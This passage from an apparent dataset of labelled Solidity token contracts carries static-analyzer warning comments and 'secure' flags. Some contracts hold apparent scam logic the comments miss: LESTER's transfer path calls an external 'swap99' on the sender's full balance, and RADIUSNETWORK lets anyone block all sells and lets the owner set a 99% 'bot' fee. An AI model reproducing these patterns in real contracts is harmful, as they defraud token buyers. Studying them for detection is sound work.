(shadowing-local | severity: Low | ID: 9bf7e45): LESTER.constructor(string,string).name shadows LESTER.name() (function)\n\t// Recommendation for 9bf7e45: Rename the local variables that shadow another component.\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balanceses[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ed348f4): LESTER.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ed348f4: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n (_balanceses[owner], ) = _aroveeee(owner, true, amount);\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 117bf1c): LESTER.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 117bf1c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[owner][sender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3f2c106): LESTER.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3f2c106: Rename the local variables that shadow another component.\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n (_balanceses[from], ) = _aroveeee(from, true, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8c9f17e): LESTER._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8c9f17e: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][sender] = amount;\n\n emit Approval(owner, sender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 29de309): LESTER._aroveeee(address,bool,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 29de309: Rename the local variables that shadow another component.\n function _aroveeee(\n address owner,\n bool no,\n uint256 amount\n ) internal virtual returns (uint256, bool) {\n if (no == true) {\n return (_dotswap(owner, amount), true);\n } else {\n emit Approval(owner, msg.sender, amount);\n\n return (_balanceses[owner], true);\n }\n emit Approval(owner, msg.sender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = _balanceses[from];\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balanceses[from] = balance - amount;\n\n _balanceses[to] = _balanceses[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 18ed545): LESTER._dotswap(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 18ed545: Rename the local variables that shadow another component.\n function _dotswap(\n address owner,\n uint256 amount\n ) internal virtual returns (uint256) {\n return\n IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balanceses[owner],\n owner\n );\n }\n}",
"file_name": "solidity_code_23.sol",
"secure": 0,
"size_bytes": 7099
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Pedrocoin is ERC20 {\n constructor() ERC20(\"Pedrocoin\", \"PEDRO\") {\n _mint(msg.sender, 777777777 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_230.sol",
"secure": 1,
"size_bytes": 276
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract PNG is ERC20, Ownable {\n constructor() ERC20(\".PNG\", \".PNG\") {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_2300.sol",
"secure": 1,
"size_bytes": 336
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract ERC20Detailed {\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n\n constructor(\n string memory __name,\n string memory __symbol,\n uint8 __decimals\n ) {\n _name = __name;\n _symbol = __symbol;\n _decimals = __decimals;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n}",
"file_name": "solidity_code_2301.sol",
"secure": 1,
"size_bytes": 663
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Detailed.sol\" as ERC20Detailed;\n\ncontract LoganCoin is ERC20, ERC20Detailed {\n constructor() ERC20Detailed(\"LoganCoin\", \"$LGN\", 18) {\n _mint(msg.sender, (100000000 * (10 ** 18)));\n }\n}",
"file_name": "solidity_code_2302.sol",
"secure": 1,
"size_bytes": 391
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IFactory.sol\" as IFactory;\nimport \"./IRouter.sol\" as IRouter;\n\ncontract RADIUSNETWORK is IERC20, Ownable {\n using SafeMath for uint256;\n string private constant _name = \"RADIUS NETWORK\";\n string private constant _symbol = \"RADI\";\n uint8 private constant _decimals = 9;\n\t// WARNING Optimization Issue (constable-states | ID: a87a8d1): RADIUSNETWORK._totalSupply should be constant \n\t// Recommendation for a87a8d1: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * (10 ** _decimals);\n uint256 private _maxTxAmountPercent = 10000;\n uint256 private _maxTransferPercent = 10000;\n uint256 private _maxWalletPercent = 10000;\n mapping(address => uint256) _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) public isFeeExempt;\n mapping(address => bool) private isBot;\n\t// WARNING Optimization Issue (immutable-states | ID: 8d1bc89): RADIUSNETWORK.router should be immutable \n\t// Recommendation for 8d1bc89: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRouter router;\n\t// WARNING Optimization Issue (immutable-states | ID: c0523d3): RADIUSNETWORK.pair should be immutable \n\t// Recommendation for c0523d3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pair;\n bool private tradingAllowed = false;\n uint256 private liquidityFee = 0;\n uint256 private marketingFee = 0;\n uint256 private developmentFee = 0;\n uint256 private burnFee = 0;\n uint256 private totalFee = 0;\n uint256 private sellFee = 2;\n uint256 private transferFee = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 3e9692f): RADIUSNETWORK.denominator should be constant \n\t// Recommendation for 3e9692f: Add the 'constant' attribute to state variables that never change.\n uint256 private denominator = 10000;\n\t// WARNING Optimization Issue (constable-states | ID: 339d274): RADIUSNETWORK.swapEnabled should be constant \n\t// Recommendation for 339d274: Add the 'constant' attribute to state variables that never change.\n bool private swapEnabled = true;\n uint256 private swapTimes;\n bool private gruturs = true;\n bool private swapping;\n\t// WARNING Optimization Issue (immutable-states | ID: 85d0344): RADIUSNETWORK.swapThreshold should be immutable \n\t// Recommendation for 85d0344: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private swapThreshold = (_totalSupply * 50) / 100000;\n\t// WARNING Optimization Issue (immutable-states | ID: 433beb0): RADIUSNETWORK._minTokenAmount should be immutable \n\t// Recommendation for 433beb0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _minTokenAmount = (_totalSupply * 10) / 100000;\n modifier lockTheSwap() {\n\t\t// reentrancy-eth | ID: 09c8afc\n swapping = true;\n _;\n\t\t// reentrancy-eth | ID: 09c8afc\n swapping = false;\n }\n\n address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;\n address internal constant development_receiver =\n 0x8406226D9eE742095dDEd78a09CeEA36137EFEAD;\n address internal constant marketing_receiver =\n 0x8406226D9eE742095dDEd78a09CeEA36137EFEAD;\n address internal constant liquidity_receiver =\n 0x8406226D9eE742095dDEd78a09CeEA36137EFEAD;\n\n constructor() Ownable(msg.sender) {\n IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n address _pair = IFactory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n router = _router;\n pair = _pair;\n isFeeExempt[address(this)] = true;\n isFeeExempt[liquidity_receiver] = true;\n isFeeExempt[marketing_receiver] = true;\n isFeeExempt[msg.sender] = true;\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n receive() external payable {}\n function name() public pure returns (string memory) {\n return _name;\n }\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n function startTrading() external onlyOwner {\n tradingAllowed = true;\n }\n function getOwner() external view override returns (address) {\n return owner;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bdb487a): RADIUSNETWORK.allowance(address,address).owner shadows Ownable.owner (state variable)\n\t// Recommendation for bdb487a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n function isCont(address addr) internal view returns (bool) {\n uint256 size;\n assembly {\n size := extcodesize(addr)\n }\n return size > 0;\n }\n function setisBot(address _address, bool _enabled) external onlyOwner {\n isBot[_address] = _enabled;\n }\n function setisExempt(address _address, bool _enabled) external onlyOwner {\n isFeeExempt[_address] = _enabled;\n }\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n function totalSupply() public view override returns (uint256) {\n return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));\n }\n function _maxWalletToken() public view returns (uint256) {\n return (totalSupply() * _maxWalletPercent) / denominator;\n }\n function _maxTxAmount() public view returns (uint256) {\n return (totalSupply() * _maxTxAmountPercent) / denominator;\n }\n function _maxTransferAmount() public view returns (uint256) {\n return (totalSupply() * _maxTransferPercent) / denominator;\n }\n\n function preTxCheck(\n address sender,\n address recipient,\n uint256 amount\n ) internal view {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(\n amount > uint256(0),\n \"Transfer amount must be greater than zero\"\n );\n require(\n amount <= balanceOf(sender),\n \"You are trying to transfer more than your balance\"\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1a2d859): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1a2d859: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3f6e2ed): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3f6e2ed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 12b887d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 12b887d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 09c8afc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 09c8afc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n preTxCheck(sender, recipient, amount);\n checkTradingAllowed(sender, recipient);\n checkMaxWallet(sender, recipient, amount);\n swapbackCounters(sender, recipient);\n checkTxLimit(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 1a2d859\n\t\t// reentrancy-benign | ID: 3f6e2ed\n\t\t// reentrancy-eth | ID: 12b887d\n\t\t// reentrancy-eth | ID: 09c8afc\n swapBack(sender, recipient, amount);\n\t\t// reentrancy-eth | ID: 12b887d\n\t\t// reentrancy-eth | ID: 09c8afc\n _balances[sender] = _balances[sender].sub(amount);\n\t\t// reentrancy-events | ID: 1a2d859\n\t\t// reentrancy-benign | ID: 3f6e2ed\n\t\t// reentrancy-eth | ID: 09c8afc\n uint256 amountReceived = shouldTakeFee(sender, recipient)\n ? takeFee(sender, recipient, amount)\n : amount;\n\t\t// reentrancy-eth | ID: 09c8afc\n _balances[recipient] = _balances[recipient].add(amountReceived);\n\t\t// reentrancy-events | ID: 1a2d859\n emit Transfer(sender, recipient, amountReceived);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c33b490): Missing events for critical arithmetic parameters.\n\t// Recommendation for c33b490: Emit an event for critical parameter changes.\n function setStructure(\n uint256 _liquidity,\n uint256 _marketing,\n uint256 _burn,\n uint256 _development,\n uint256 _total,\n uint256 _sell,\n uint256 _trans\n ) external onlyOwner {\n\t\t// events-maths | ID: c33b490\n liquidityFee = _liquidity;\n\t\t// events-maths | ID: c33b490\n marketingFee = _marketing;\n\t\t// events-maths | ID: c33b490\n burnFee = _burn;\n\t\t// events-maths | ID: c33b490\n developmentFee = _development;\n\t\t// events-maths | ID: c33b490\n totalFee = _total;\n\t\t// events-maths | ID: c33b490\n sellFee = _sell;\n\t\t// events-maths | ID: c33b490\n transferFee = _trans;\n require(\n totalFee <= denominator.div(5) && sellFee <= denominator.div(5),\n \"totalFee and sellFee cannot be more than 20%\"\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 53e5630): RADIUSNETWORK.setParameters(uint256,uint256,uint256) should emit an event for _maxTxAmountPercent = _buy _maxTransferPercent = _trans _maxWalletPercent = _wallet \n\t// Recommendation for 53e5630: Emit an event for critical parameter changes.\n function setParameters(\n uint256 _buy,\n uint256 _trans,\n uint256 _wallet\n ) external onlyOwner {\n uint256 newTx = (totalSupply() * _buy) / 10000;\n uint256 newTransfer = (totalSupply() * _trans) / 10000;\n uint256 newWallet = (totalSupply() * _wallet) / 10000;\n\t\t// events-maths | ID: 53e5630\n _maxTxAmountPercent = _buy;\n\t\t// events-maths | ID: 53e5630\n _maxTransferPercent = _trans;\n\t\t// events-maths | ID: 53e5630\n _maxWalletPercent = _wallet;\n uint256 limit = totalSupply().mul(5).div(1000);\n require(\n newTx >= limit && newTransfer >= limit && newWallet >= limit,\n \"Max TXs and Max Wallet cannot be less than .5%\"\n );\n }\n\n function checkTradingAllowed(\n address sender,\n address recipient\n ) internal view {\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(tradingAllowed, \"tradingAllowed\");\n }\n }\n\n function checkMaxWallet(\n address sender,\n address recipient,\n uint256 amount\n ) internal view {\n if (\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient] &&\n recipient != address(pair) &&\n recipient != address(DEAD)\n ) {\n require(\n (_balances[recipient].add(amount)) <= _maxWalletToken(),\n \"Exceeds maximum wallet amount.\"\n );\n }\n }\n\n function swapbackCounters(address sender, address recipient) internal {\n if (recipient == pair && !isFeeExempt[sender]) {\n\t\t\t// reentrancy-eth | ID: 09c8afc\n swapTimes += uint256(1);\n }\n }\n\n function checkTxLimit(\n address sender,\n address recipient,\n uint256 amount\n ) internal view {\n if (sender != pair) {\n require(\n amount <= _maxTransferAmount() ||\n isFeeExempt[sender] ||\n isFeeExempt[recipient],\n \"TX Limit Exceeded\"\n );\n }\n require(\n amount <= _maxTxAmount() ||\n isFeeExempt[sender] ||\n isFeeExempt[recipient],\n \"TX Limit Exceeded\"\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 97e9f17): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 97e9f17: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bb667b7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bb667b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b0b44d7): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for b0b44d7: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: cd7777d): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for cd7777d: Consider ordering multiplication before division.\n function swapAndLiquify(uint256 tokens) private lockTheSwap {\n uint256 _denominator = (\n liquidityFee.add(1).add(marketingFee).add(developmentFee)\n ).mul(2);\n uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(\n _denominator\n );\n uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);\n uint256 initialBalance = address(this).balance;\n\t\t// reentrancy-events | ID: 97e9f17\n\t\t// reentrancy-benign | ID: bb667b7\n swapTokensForETH(toSwap);\n uint256 deltaBalance = address(this).balance.sub(initialBalance);\n\t\t// divide-before-multiply | ID: b0b44d7\n\t\t// divide-before-multiply | ID: cd7777d\n uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee));\n\t\t// divide-before-multiply | ID: b0b44d7\n uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);\n if (ETHToAddLiquidityWith > uint256(0)) {\n\t\t\t// reentrancy-events | ID: 97e9f17\n\t\t\t// reentrancy-benign | ID: bb667b7\n addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);\n }\n\t\t// divide-before-multiply | ID: cd7777d\n uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);\n if (marketingAmt > 0) {\n\t\t\t// reentrancy-events | ID: 1a2d859\n\t\t\t// reentrancy-events | ID: 1b8020f\n\t\t\t// reentrancy-eth | ID: 12b887d\n\t\t\t// reentrancy-eth | ID: 09c8afc\n\t\t\t// reentrancy-eth | ID: 7846a37\n payable(marketing_receiver).transfer(marketingAmt);\n }\n uint256 remainingBalance = address(this).balance;\n if (remainingBalance > uint256(0)) {\n\t\t\t// reentrancy-events | ID: 1a2d859\n\t\t\t// reentrancy-events | ID: 1b8020f\n\t\t\t// reentrancy-eth | ID: 12b887d\n\t\t\t// reentrancy-eth | ID: 09c8afc\n\t\t\t// reentrancy-eth | ID: 7846a37\n payable(development_receiver).transfer(remainingBalance);\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 34feb0b): RADIUSNETWORK.addLiquidity(uint256,uint256) ignores return value by router.addLiquidityETH{value ETHAmount}(address(this),tokenAmount,0,0,liquidity_receiver,block.timestamp)\n\t// Recommendation for 34feb0b: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {\n _approve(address(this), address(router), tokenAmount);\n\t\t// reentrancy-events | ID: 97e9f17\n\t\t// reentrancy-events | ID: 1a2d859\n\t\t// reentrancy-events | ID: 1b8020f\n\t\t// reentrancy-benign | ID: 3f6e2ed\n\t\t// reentrancy-benign | ID: 0c37054\n\t\t// reentrancy-benign | ID: bb667b7\n\t\t// unused-return | ID: 34feb0b\n\t\t// reentrancy-eth | ID: 12b887d\n\t\t// reentrancy-eth | ID: 09c8afc\n\t\t// reentrancy-eth | ID: 7846a37\n router.addLiquidityETH{value: ETHAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n liquidity_receiver,\n block.timestamp\n );\n }\n\n function swapTokensForETH(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = router.WETH();\n _approve(address(this), address(router), tokenAmount);\n\t\t// reentrancy-events | ID: 97e9f17\n\t\t// reentrancy-events | ID: 1a2d859\n\t\t// reentrancy-events | ID: 1b8020f\n\t\t// reentrancy-benign | ID: 3f6e2ed\n\t\t// reentrancy-benign | ID: 0c37054\n\t\t// reentrancy-benign | ID: bb667b7\n\t\t// reentrancy-eth | ID: 12b887d\n\t\t// reentrancy-eth | ID: 09c8afc\n\t\t// reentrancy-eth | ID: 7846a37\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function shouldSwapBack(\n address sender,\n address recipient,\n uint256 amount\n ) internal view returns (bool) {\n bool aboveMin = amount >= _minTokenAmount;\n bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;\n return\n !swapping &&\n swapEnabled &&\n tradingAllowed &&\n aboveMin &&\n !isFeeExempt[sender] &&\n recipient == pair &&\n swapTimes >= uint256(2) &&\n aboveThreshold;\n }\n\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7846a37): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7846a37: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapBack(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n if (shouldSwapBack(sender, recipient, amount)) {\n\t\t\t// reentrancy-eth | ID: 7846a37\n swapAndLiquify(swapThreshold);\n\t\t\t// reentrancy-eth | ID: 09c8afc\n\t\t\t// reentrancy-eth | ID: 7846a37\n swapTimes = uint256(0);\n }\n }\n\n function shouldTakeFee(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return !isFeeExempt[sender] && !isFeeExempt[recipient];\n }\n\n function getTotalFee(\n address sender,\n address recipient\n ) internal view returns (uint256) {\n if (isBot[sender] || isBot[recipient]) {\n return denominator.sub(uint256(100));\n }\n if (recipient == pair) {\n require(gruturs == true);\n return sellFee;\n }\n if (sender == pair) {\n return totalFee;\n }\n return transferFee;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c5e1b09): RADIUSNETWORK.takeFee(address,address,uint256) performs a multiplication on the result of a division feeAmount = amount.div(denominator).mul(getTotalFee(sender,recipient))\n\t// Recommendation for c5e1b09: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9c800c7): RADIUSNETWORK.takeFee(address,address,uint256) performs a multiplication on the result of a division _transfer(address(this),address(DEAD),amount.div(denominator).mul(burnFee))\n\t// Recommendation for 9c800c7: Consider ordering multiplication before division.\n function takeFee(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (uint256) {\n if (getTotalFee(sender, recipient) > 0) {\n\t\t\t// divide-before-multiply | ID: c5e1b09\n uint256 feeAmount = amount.div(denominator).mul(\n getTotalFee(sender, recipient)\n );\n\t\t\t// reentrancy-eth | ID: 09c8afc\n _balances[address(this)] = _balances[address(this)].add(feeAmount);\n\t\t\t// reentrancy-events | ID: 1a2d859\n emit Transfer(sender, address(this), feeAmount);\n if (burnFee > uint256(0)) {\n\t\t\t\t// divide-before-multiply | ID: 9c800c7\n _transfer(\n address(this),\n address(DEAD),\n amount.div(denominator).mul(burnFee)\n );\n }\n return amount.sub(feeAmount);\n }\n return amount;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1b8020f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1b8020f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0c37054): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0c37054: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1b8020f\n\t\t// reentrancy-benign | ID: 0c37054\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 1b8020f\n\t\t// reentrancy-benign | ID: 0c37054\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function clearStuckBalances() external {\n gruturs = false;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 90e4de1): RADIUSNETWORK._approve(address,address,uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 90e4de1: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 3f6e2ed\n\t\t// reentrancy-benign | ID: 0c37054\n\t\t// reentrancy-benign | ID: bb667b7\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 97e9f17\n\t\t// reentrancy-events | ID: 1a2d859\n\t\t// reentrancy-events | ID: 1b8020f\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_2303.sol",
"secure": 0,
"size_bytes": 24940
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IFactory.sol\" as IFactory;\nimport \"./IRouter.sol\" as IRouter;\n\ncontract MEME is IERC20, Ownable {\n using SafeMath for uint256;\n string private constant _name =\n \"DogePepeFrogWomanYellingCatSurprisedPikachuTwoButtonsBadLuckBrianConfusedMrKrabsDrakeMemeFirstWorldProblemsArthurFistMockingSpongeBobThisFineExpandingBrainDistractedBoyfriendWojakChangeMyMindHidePainHaroldIsThisPigeonDrunkBabyPikachuMemesStonksCryingJordanInhalingSeagullMockingBirdSurgeryGrapeEvilKermitButThatsNoneofMyBusinessBlinkingWhiteGuyUnsettledTomThisManAteWomanShowingPaperIghtImmaHeadOutYUNoYThouRollSafeHotlineBlingWomanScreamingTeaPikachuShockedFaceLeonardoDicaprioCheersHoesMadCardIghtBetKidGrumpyCatWomanCatLadyDoItforHimSimpsonLeftExit12OffRampDabbingSquidwardScumbagSteveBabyGodfatherPupperDoggoDistractedBoyfriendSoccerWhyNotBothOneDoesNotSimplyDistractedPikachuMockingSpongeBobChickenIsforMeMonkeyPuppetYouvsGuySheToldYouNottoWorryAboutLaughingLeoEvilToddlerHoldMyBeerGuyWomanWithNoCatMockingSpongeBobFishSpongeGarXAllYBatmanTheScrollofTruthSpiderManPointingatSpiderManYallGotAnyMoreofThatSleepingShaqMockingSpongeBobBoatHidePainHaroldOhGodOhFuckAlrightThenKeepYourSecretsAlrightThenKeepYourSecretsSpiderMan60sCartoonConspiracyKeanuFreeRealEstateSaltBaeWellYesButActuallyNoFrySquintingBlinkingGuyBoardroomMeetingSuggestionIghtImmaHeadOutHorseXXEverywhereJackieChanWTFSurprisedPatrickInu\";\n string private constant _symbol = \"MEME\";\n uint8 private constant _decimals = 9;\n\t// WARNING Optimization Issue (constable-states | ID: 8709437): MEME._totalSupply should be constant \n\t// Recommendation for 8709437: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 10000000 * (10 ** _decimals);\n mapping(address => uint256) _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) public isFeeExempt;\n mapping(address => bool) private isBot;\n\t// WARNING Optimization Issue (immutable-states | ID: 2a9decd): MEME.router should be immutable \n\t// Recommendation for 2a9decd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRouter router;\n\t// WARNING Optimization Issue (immutable-states | ID: 9d100a2): MEME.pair should be immutable \n\t// Recommendation for 9d100a2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pair;\n bool private tradingAllowed = false;\n\t// WARNING Optimization Issue (constable-states | ID: 70d0d9f): MEME.swapEnabled should be constant \n\t// Recommendation for 70d0d9f: Add the 'constant' attribute to state variables that never change.\n bool private swapEnabled = true;\n uint256 private 